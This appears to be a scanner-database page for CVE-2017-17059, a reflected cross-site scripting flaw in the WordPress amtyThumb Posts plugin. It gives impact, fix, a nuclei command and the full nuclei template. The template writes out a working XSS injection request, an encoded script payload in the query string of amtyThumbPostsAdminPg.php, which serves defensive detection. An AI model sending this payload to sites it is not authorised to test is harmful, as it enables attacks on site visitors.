WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser.

Fix

Update to the latest version of amtyThumb Posts plugin or apply the patch provided by the vendor.

How to confirm it

Send: GET /wp-content/plugins/amty-thumb-recent-post/readme.txt
Positive when: contains "Amty Thumb" and "Tags:"
Send: POST {{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-17059 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-17059

info:
  name: WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser.
  remediation: |
    Update to the latest version of amtyThumb Posts plugin or apply the patch provided by the vendor.
  reference:
    - https://github.com/NaturalIntelligence/wp-thumb-post/issues/1
    - https://packetstormsecurity.com/files/145044/WordPress-amtyThumb-8.1.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17059
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17059
    cwe-id: CWE-79
    epss-score: 0.03419
    epss-percentile: 0.89003
    cpe: cpe:2.3:a:amtythumb_project:amtythumb:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "amtythumb_project"
    product: amtythumb
    framework: wordpress
  tags: cve2017,cve,xss,wp-plugin,packetstorm,wordpress,amtythumb_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Amty Thumb'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1"

    body: "amty_hidden=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from